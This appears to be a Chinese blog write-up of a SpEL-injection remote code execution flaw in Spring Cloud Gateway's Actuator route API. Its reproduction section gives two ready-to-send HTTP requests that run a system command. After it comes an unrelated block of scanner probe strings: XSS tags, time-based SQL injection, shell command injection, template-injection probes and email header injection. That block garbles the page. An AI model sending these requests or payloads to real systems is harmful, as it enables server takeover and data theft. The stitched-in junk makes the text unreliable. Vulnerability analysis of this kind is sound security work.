SpringCloud Gateway 是 Spring Cloud 的一个全新项目,该项目是基于 Spring 5.0,Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效的统一的 API 路由管理方式。
0x01:影响版本
Spring Cloud Gateway:
3.1.0
3.0.0 to 3.0.6
不受支持的旧版本也会受到影响
0x02:原理分析
Actuator API
SpringCloudGateWay支持通过Actuator端点对网关进行监控和交互,其中还可以删除和创建特定的路由。
其中的filter参数可以定义该路由的Filter,并且可以传递Filter的参数。 SpringCloudGateWay内置了28个Filter。
ShortcutConfigurable
可以看到所有的GateWayFilter
都继承了ShortcutConfigurable
接口。
而在ShortcutConfigurable
接口中有一个getValue
静态方法,可以看到里面执行了SPEL表达式,expression.getValue(context)
。
而调用该getValue
的地方在该接口的ShortcutType
枚举类型中的normalize
方法。
GatewayFilters#normalizeProperties
而调用了normalize
的地方则是在对每一个Filter初始化过程中对Filter属性进行解析时。
也就是其中会将Filter的配置属性传入normalize
中,最后进入getValue
执行SPEL表达式造成SPEL表达式注入。
0x03:复现
以RewritePathFilter
为例。
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Content-Type: application/json
Content-Length: 374
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/new_route/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"calc\")}",
"_genkey_1": "/${path}"
}
}
],
"uri": "https://xxx.pl",
"order": 0
}
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Content-Type: application/json
Connection: close
Content-Length: 260
{
"predicate": "Paths: [/new_route], match trailing slash: true",
"route_id": "new_route",
"filters": [
"[[RewritePath #{T(java.lang.Runtime).getRuntime().exec(\"calc\")} = /${path}], order = 1]"
],
"uri": "https://xxx.pl",
"order": 0
}
ps:本地测试的缘故导致最后一张图执行的命令和burp放在了一起,但是不要慌是这是一个远程RCE
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >2ia1(9252)</ScRiPt>
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >G4M8(9163)</ScRiPt>
1'"()&%<zzz><ScRiPt >G4M8(9608)</ScRiPt>
19475207
19523160
'"()&%<zzz><ScRiPt >WtHy(9099)</ScRiPt>
19959855
1
'"()&%<zzz><ScRiPt >0f0D(9395)</ScRiPt>
1'"()&%<zzz><ScRiPt >0f0D(9051)</ScRiPt>
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
<th:t="${dfb}#foreach
1
1
19875725
'"()&%<zzz><ScRiPt >M7IJ(9933)</ScRiPt>
1
1'"()&%<zzz><ScRiPt >M7IJ(9804)</ScRiPt>
1
1
1
1
1
1
1
13Bvng
<ScRiPt >3eGR(9232)</ScRiPt>
1<input autofocus onfocus=3eGR(9055)>
1u003CScRiPt3eGR(9641)u003C/sCripTu003E
%31%3C%53%63%52%69%50%74%20%3E%33%65%47%52%289338%29%3C%2F%73%43%72%69%70%54%3E
1
1
1<isindex type=image src=1 onerror=3eGR(9168)>
1<ScRiPt
3eGR(9303)</ScRiPt>
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
<%={{={@{#{${dfb}}%>
bfgx5574%C0%BEz1%C0%BCz2a%90bcxhjl5574
bfg9728%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl9728
19641052
1'"()&%<zzz><ScRiPt >3eGR(9818)</ScRiPt>
PI2E6IpZ')) OR 31=(SELECT 31 FROM PG_SLEEP(15))--
Zl8Mx75t') OR 50=(SELECT 50 FROM PG_SLEEP(15))--
xb5PMXcT' OR 190=(SELECT 190 FROM PG_SLEEP(15))--
-5) OR 353=(SELECT 353 FROM PG_SLEEP(15))--
-5 OR 926=(SELECT 926 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
-1' OR 2+719-719-1=0+0+0+1 --
-1 OR 2+193-193-1=0+0+0+1
-1 OR 2+672-672-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
to@example.com>%0d%0abcc:009247.1-56374.1.5b6cd.19234.2@bxss.me
1
1
1
1
1B3BDcdaTeO
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
MHXJAhsl' OR 504=(SELECT 504 FROM PG_SLEEP(15))--
-5) OR 357=(SELECT 357 FROM PG_SLEEP(15))--
if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
|echo jbhzdb$()\ nspoie\nz^xyu||a #' |echo jbhzdb$() nspoienz^xyu||a #|" |echo jbhzdb$() nspoienz^xyu||a #
1
to@example.com>%0d%0abcc:009247.1-56579.1.5b6cd.19234.2@bxss.me
response.write(9940264*9419508)
1
1
1
1
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
-1" OR 3+112-112-1=0+0+0+1 --
-1" OR 2+112-112-1=0+0+0+1 --
-1' OR 3+84-84-1=0+0+0+1 --
-1' OR 2+84-84-1=0+0+0+1 --
1
1
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
if(now()=sysdate(),sleep(15),0)
-1' OR 2+843-843-1=0+0+0+1 or 'ko0xvQ2Z'='
-1' OR 2+575-575-1=0+0+0+1 --
1
1
1
1
1
1
1HQ8xHmiO
1
1
1
1
1
1